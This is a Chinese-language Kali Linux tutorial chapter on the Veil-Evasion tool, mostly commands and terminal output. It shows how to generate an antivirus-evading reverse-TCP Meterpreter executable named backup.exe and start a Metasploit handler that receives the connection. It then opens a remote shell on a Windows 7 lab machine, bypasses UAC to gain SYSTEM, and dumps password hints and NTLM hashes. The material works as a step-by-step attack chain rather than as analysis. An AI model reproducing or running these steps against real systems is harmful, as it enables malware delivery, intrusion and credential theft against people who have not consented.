• 6.5 免杀Payload生成工具Veil
    1. [>] Please enter a command: list
  • Veil-Evasion | [Version]: 2.4.3
  • [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    1. [>] Please enter a command: use 5
  • Veil-Evasion | [Version]: 2.4.3
  • [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    1. [>] Please enter a command: generate
  • Veil-Evasion | [Version]: 2.4.3
  • [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

    6.5 免杀Payload生成工具Veil

    Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中能绕过常见的杀毒软件。本节将介绍Veil工具的安装及使用。

    在Kali Linux中,默认没有安装Veil工具。这里首先安装Veil工具,执行如下所示的命令:

    1. root@kali:~# apt-get install veil

    执行以上命令后,如果安装过程没有提示错误的话,则表示Veil工具安装成功。由于安装该工具依赖的软件较多,所以此过程时间有点长。

    启动Veil工具。执行命令如下所示:

    1. root@kali:~# veil-evasion

    执行以上命令后,将会输出大量的信息。如下所示:

    1. ===============================================
    2. Veil First Run Detected Initializing Script Setup
    3. ===============================================
    4. [*] Executing ./setup/setup.sh
    5. ===============================================
    6. Veil-Evasion Setup Script | [Updated]: 01.15.2015
    7. ===============================================
    8. [Web]: https://www.veil-framework.com | [Twitter]: @VeilFramework
    9. ===============================================
    10. [*] Initializing Apt Dependencies Installation
    11. [*] Adding i386 Architecture To x86_64 System
    12. [*] Updating Apt Package Lists
    13. 命中 http://mirrors.ustc.edu.cn kali Release.gpg
    14. 命中 http://mirrors.ustc.edu.cn kali/updates Release.gpg
    15. 命中 http://mirrors.ustc.edu.cn kali Release
    16. 命中 http://mirrors.ustc.edu.cn kali/updates Release
    17. 命中 http://mirrors.ustc.edu.cn kali/main Sources
    18. 命中 http://mirrors.ustc.edu.cn kali/non-free Sources
    19. 命中 http://mirrors.ustc.edu.cn kali/contrib Sources
    20. 命中 http://mirrors.ustc.edu.cn kali/main amd64 Packages
    21. 命中 http://mirrors.ustc.edu.cn kali/non-free amd64 Packages
    22. 命中 http://mirrors.ustc.edu.cn kali/contrib amd64 Packages
    23. 获取:1 http://mirrors.ustc.edu.cn kali/main i386 Packages [8,474 kB]
    24. 命中 http://http.kali.org kali Release.gpg
    25. 命中 http://security.kali.org kali/updates Release.gpg
    26. 命中 http://http.kali.org kali Release
    27. ……
    28. 忽略 http://http.kali.org kali/non-free Translation-en
    29. 下载 17.8 MB,耗时 20 (859 kB/s)
    30. 正在读取软件包列表… 完成
    31. [*] Installing Wine i386 Binaries
    32. 正在读取软件包列表… 完成
    33. 正在分析软件包的依赖关系树
    34. 正在读取状态信息… 完成
    35. 将会安装下列额外的软件包:
    36. gcc-4.7-base:i386 libasound2:i386 libc-bin libc-dev-bin libc6 libc6:i386
    37. libc6-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386
    38. libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386
    39. libffi5:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386
    40. [*] Cleaning Up Setup Files
    41. [*] Updating Veil-Framework Configuration
    42. Veil-Framework configuration:
    43. [*] OPERATING_SYSTEM = Kali
    44. [*] TERMINAL_CLEAR = clear
    45. [*] TEMP_DIR = /tmp/
    46. [*] MSFVENOM_OPTIONS =
    47. [*] METASPLOIT_PATH = /usr/share/metasploit-framework/
    48. [*] PYINSTALLER_PATH = /usr/share/pyinstaller/
    49. [*] VEIL_EVASION_PATH = /usr/share/veil-evasion/
    50. [*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
    51. [*] Path '/root/veil-output/source/' Created
    52. [*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
    53. [*] Path '/root/veil-output/compiled/' Created
    54. [*] Path '/root/veil-output/handlers/' Created
    55. [*] GENERATE_HANDLER_SCRIPT = True
    56. [*] HANDLER_PATH = /root/veil-output/handlers/
    57. [*] HASH_LIST = /root/veil-output/hashes.txt
    58. [*] VEIL_CATAPULT_PATH = /usr/share/Veil-Catapult/
    59. [*] Path '/root/veil-output/catapult/' Created
    60. [*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/
    61. [*] Path '/etc/veil/' Created
    62. Configuration File Written To '/etc/veil/settings.py'

    以上信息只有在第一次运行Veil时才显示。在此过程中,初始化一些脚本、软件包列表、更新配置及安装需要的软件包。在此过程中以图形界面的形式依次安装了Python及它的两个模块pywin32-218和pycrypto-2.6。下面依次进行安装。首先弹出的对话框,如图6.32所示。

    201-01

    图6.32 Python初始界面

    该界面是安装Python的初始界面。这里使用默认设置,单击Next按钮,将显示如图6.33所示的界面。

    201-02

    图6.33 选择Python安装位置

    在该界面单击Next按钮,将显示如图6.34所示的界面。该界面提示C:\Python27已存在,确认是否要覆盖已存在的文件。这里单击Yes按钮,将显示如图6.35所示的界面。

    201-03

    图6.34 确认Python的安装位置

    201-04

    图6.35 自定义Python

    在该界面自定义安装Python的一些功能。这里使用默认的设置,单击Next按钮,将显示如图6.36所示的界面。

    201-05

    图6.36 安装完成

    该界面提示Python已经安装完成。此时单击Finish按钮,将显示如图6.37所示的界面。

    202-01

    图6.37 安装pywin32-218模块界面

    该界面是要求安装pywin32-218模块。这里单击“下一步”按钮,将显示如图6.38所示的界面。

    202-02

    图6.38 设置向导

    这里使用默认设置,单击“下一步”按钮,将显示如图6.39所示的界面。

    202-03

    图6.39 准备安装

    该界面用来确实是否要开始安装。如果确认配置正确的话,单击“下一步”按钮,将显示如图6.40所示的界面。

    203-01

    图6.40 安装完成

    从该界面可以看到pywin32-218模块已经安装完成。此时单击“结束”按钮,将显示如图6.41所示的界面。

    203-02

    图6.41 安装pycrypto-2.6模块初始界面

    该界面提示需要安装pycrypto-2.6模块。这里单击“下一步”按钮开始安装,如图6.42所示。

    203-03

    图6.42 设置向导

    这里使用默认设置,单击“下一步”按钮,将显示如图6.43所示的界面。

    204-01

    图6.43 准备安装

    该界面提示将要安装pycrypto模块。这里单击“下一步”按钮,将显示如图6.44所示的界面。

    204-02

    图6.44 安装完成

    从该界面可以看到以上软件包已安装完成。此时单击“结束”按钮,将显示如下所示的信息:

    1. ===============================================
    2. Veil-Evasion | [Version]: 2.4.3
    3. ===============================================
    4. [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    5. ===============================================
    6. Main Menu
    7. 24 payloads loaded
    8. Available commands:
    9. use use a specific payload
    10. info information on a specific payload
    11. list list available payloads
    12. update update Veil to the latest version
    13. clean clean out payload folders
    14. checkvt check payload hashes vs. VirusTotal
    15. exit exit Veil
    16. [>] Please enter a command:

    从以上信息中可以看到在Veil下,有24个攻击载荷可加载,并列出了可用的命令。现在就可以进行各种操作了。例如查看可加载的攻击模块,执行命令如下所示:

    1. [>] Please enter a command: list

    Veil-Evasion | [Version]: 2.4.3

    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

    [*] Available payloads:
    1) c/meterpreter/rev_tcp
    2) c/meterpreter/rev_tcp_service
    3) c/shellcode_inject/virtual
    4) c/shellcode_inject/void
    5) cs/meterpreter/rev_tcp
    6) cs/shellcode_inject/base64_substitution
    7) cs/shellcode_inject/virtual
    8) native/Hyperion
    9) native/backdoor_factory
    10) native/pe_scrambler
    11) powershell/shellcode_inject/download_virtual
    12) powershell/shellcode_inject/psexec_virtual
    13) powershell/shellcode_inject/virtual
    14) python/meterpreter/rev_http
    15) python/meterpreter/rev_http_contained
    16) python/meterpreter/rev_https
    17) python/meterpreter/rev_https_contained
    18) python/meterpreter/rev_tcp
    19) python/shellcode_inject/aes_encrypt
    20) python/shellcode_inject/arc_encrypt
    21) python/shellcode_inject/base64_substitution
    22) python/shellcode_inject/des_encrypt
    23) python/shellcode_inject/flat
    24) python/shellcode_inject/letter_substitution

    从输出的信息中,可以看到有24个可用的攻击载荷。此时可以利用任何一个攻击载荷,进行渗透攻击。

    【实例6-5】演示使用Veil工具中的载荷(本例以cs/meterpreter/rev_tcp为例),进行渗透攻击(这里以Windows 7作为攻击靶机)。具体操作步骤如下所示。

    (1)启动Veil工具。执行命令如下所示:

    1. root@kali:~# veil-evasion

    执行以上命令后,将显示如下所示的信息:

    1. ===============================================
    2. Veil-Evasion | [Version]: 2.4.3
    3. ===============================================
    4. [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    5. ===============================================
    6. Main Menu
    7. 24 payloads loaded
    8. Available commands:
    9. use use a specific payload
    10. info information on a specific payload
    11. list list available payloads
    12. update update Veil to the latest version
    13. clean clean out payload folders
    14. checkvt check payload hashes vs. VirusTotal
    15. exit exit Veil
    16. [>] Please enter a command:

    在输出的信息中看到[>] Please enter a command:提示符,就表示Veil登录成功了。

    (2)选择cs/meterpreter/rev_tcp攻击载荷。在攻击载荷列表中,cs/meterpreter/rev_tcp载荷的编号是5。执行命令如下所示:

    1. [>] Please enter a command: use 5

    Veil-Evasion | [Version]: 2.4.3

    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

    Payload: cs/meterpreter/rev_tcp loaded
    Required Options:
    Name Current Value Description


    LHOST IP of the metasploit handler
    LPORT 4444 Port of the metasploit handler
    compile_to_exe Y Compile to an executable
    Available commands:
    set set a specific option value
    info show information about the payload
    generate generate payload
    back go to the main menu
    exit exit Veil
    [>] Please enter a command:

    输出信息显示了rev_tcp攻击载荷可配置的选项参数。这里默认指定的本地端口(LPORT)是4444,LHOST选项还没有配置。

    (3)配置LHOST选项参数,并查看攻击载荷的详细信息。执行命令如下所示:

    1. [>] Please enter a command: set LHOST 192.168.6.103
    2. [>] Please enter a command: info
    3. ===============================================
    4. Veil-Evasion | [Version]: 2.4.3
    5. ===============================================
    6. [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    7. ===============================================
    8. Payload information:
    9. Name: cs/meterpreter/rev_tcp
    10. Language: cs
    11. Rating: Excellent
    12. Description: pure windows/meterpreter/reverse_tcp stager, no shellcode
    13. Required Options:
    14. Name Current Value Description
    15. ---- ------------- --------------------------
    16. LHOST 192.168.6.100 IP of the metasploit handler
    17. LPORT 4444 Port of the metasploit handler
    18. compile_to_exe Y Compile to an executable

    从输出的信息中,可以看到rev_tcp攻击载荷的详细信息,如攻击载荷名、语言、级别及配置的选项参数等。

    (4)此时,使用generate命令生成载荷文件。执行命令如下所示:

    1. [>] Please enter a command: generate

    Veil-Evasion | [Version]: 2.4.3

    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

    [*] Press [enter] for 'payload'
    [>] Please enter the base name for output files: backup #指定输出文件名

    在以上命令中指定一个文件名为backup。然后按下回车键,将显示如下所示的信息:

    1. [*] Executable written to: /root/veil-output/compiled/backup.exe
    2. Language: cs
    3. Payload: cs/meterpreter/rev_tcp
    4. Required Options: LHOST=192.168.6.103 LPORT=4444 compile_to_exe=Y
    5. Payload File: /root/veil-output/source/backup.cs
    6. Handler File: /root/veil-output/handlers/backup_handler.rc
    7. [*] Your payload files have been generated, don't get caught!
    8. [!] And don't submit samples to any online scanner! ;)
    9. [>] press any key to return to the main menu:

    从输出的信息中可以看到生成一个可执行文件backup.exe,并且该文件保存在/root/veil-output/compiled/中。此时将可执行文件backup.exe发送到目标主机上,就可以利用该攻击载荷了。

    接下来需要使用Metasploit创建一个远程处理器,等待目标主机连接到Kali Linux(攻击主机)操作系统。连接成功后,就获取到一个远程Shell命令。

    【实例6-6】创建远程处理器。具体操作步骤如下所示。

    (1)启动MSF终端。

    (2)使用handler模块。执行命令如下所示:

    1. msf > use exploit/multi/handler

    (3)加载reverse_tcp攻击载荷,并设置其选项参数。执行命令如下所示:

    1. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
    2. payload => windows/meterpreter/reverse_tcp
    3. msf exploit(handler) > set LHOST 192.168.6.103
    4. LHOST => 192.168.6.103

    (4)启动渗透攻击。执行命令如下所示:

    1. msf exploit(handler) > exploit
    2. [*] Started reverse handler on 192.168.6.103:4444
    3. [*] Starting the payload handler

    从输出信息可以看到攻击载荷已启动,正在等待连接目标主机。

    此时将前面生成的可执行文件backup.exe发送到目标主机(Windows 7),并运行该可执行文件。然后返回到Kali Linux操作系统,将看到如下所示的信息:

    1. [*] Sending stage (769536 bytes) to 192.168.6.110
    2. [*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17 10:44:47 +0800
    3. meterpreter >

    从以上信息中,可以看到成功打开了一个Meterpreter会话。这表示已成功渗透攻击目标主机,现在就可以进行一些Shell命令。如进行目标主机的Shell环境,执行命令如下 所示:

    1. meterpreter > shell
    2. Process 1544 created.
    3. Channel 1 created.
    4. Microsoft Windows [版本 6.1.7601]
    5. (c) 2009 Microsoft Corporation
    6. C:\Users\lyw\Desktop>

    输出的信息表示进入了目标系统Windows 7的命令行,并且当前目标系统登录的用户是lyw。

    如果以上用户没有太高权限时,可以使用Metasploit中的bypassuac模块绕过UAC(用户访问控制),进而提升用户的权限。下面将介绍使用bypassuac模块提升以上lyw用户的权限。

    (1)将Meterpreter会话,调用到后台运行。执行命令如下所示:

    1. meterpreter > background
    2. [*] Backgrounding session 1

    从输出的信息中,可以看到当前后台运行的会话编号是1。该会话编号需要记住,在后面将会用到。

    (2)查看会话详细信息。执行命令如下所示:

    208-01

    从输出信息中可以看到该会话中,连接到目标系统的运行架构、计算机名及IP地址。

    (3)使用bypassuac模块,并查看可配置的选项参数。执行命令如下所示:

    208-02

    从输出信息中,可以看到模块选项中有一个可配置的选项参数SESSION。该选项的值,就是当前后台运行的会话编号。

    (4)设置SESSION选项参数。如下所示:

    1. msf exploit(bypassuac) > set session 1
    2. session => 1

    (5)启动渗透攻击。执行命令如下所示:

    1. msf exploit(bypassuac) > exploit
    2. [*] Started reverse handler on 192.168.6.103:4444
    3. [*] UAC is Enabled, checking level
    4. [+] UAC is set to Default
    5. [+] BypassUAC can bypass this setting, continuing
    6. [+] Part of Administrators group! Continuing
    7. [*] Uploaded the agent to the filesystem….
    8. [*] Uploading the bypass UAC executable to the filesystem
    9. [*] Meterpreter stager executable 73802 bytes long being uploaded..
    10. [*] Sending stage (769536 bytes) to 192.168.6.106
    11. [*] Meterpreter session 2 opened (192.168.6.103:4444 -> 192.168.6.106:49206) at 2014-07-18 10:15:38 +0800
    12. meterpreter >

    从输出的信息中,可以看到目前登录的用户实际上是属于管理组的成员,并且绕过了UAC创建了一个新的会话。此时就可以提升用户的权限了。

    (6)查看lyw用户的信息。执行命令如下所示:

    1. meterpreter > getuid
    2. Server username: WIN-RKPKQFBLG6C\lyw

    从输出信息中可以看到该用户只是WIN-RKPKQFBLG6C计算机中的一个普通用户。

    (7)提升lyw用户的权限,并查看其用户信息。执行命令如下所示:

    1. meterpreter > getsystem
    2. got system (via technique 1).
    3. meterpreter > getuid
    4. Server username: NT AUTHORITY\SYSTEM

    从输出信息中可以看到当前lyw用户,拥有了系统级别的权限。此时,可以进行任何的操作。如捕获目标系统中,用户的密码哈希值。执行命令如下所示:

    1. meterpreter > run post/windows/gather/hashdump
    2. [*] Obtaining the boot key
    3. [*] Calculating the hboot key using SYSKEY 88f6c818af614f7033cb885 74907b61c
    4. [*] Obtaining the user list and keys
    5. [*] Decrypting user keys
    6. [*] Dumping password hints
    7. Test:"www.123"
    8. abc:“123456
    9. alice:“passwd
    10. [*] Dumping password hashes
    11. Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    12. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    13. bob:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

    从输出的信息中,可以看到目标系统中有三个用户,并且可以看到它们的UID及密码哈希值。而且,还捕获到三个键盘输入的密码。如捕获的Test用户,其密码为www.123。

    原文: https://wizardforcel.gitbooks.io/daxueba-kali-linux-tutorial/content/34.html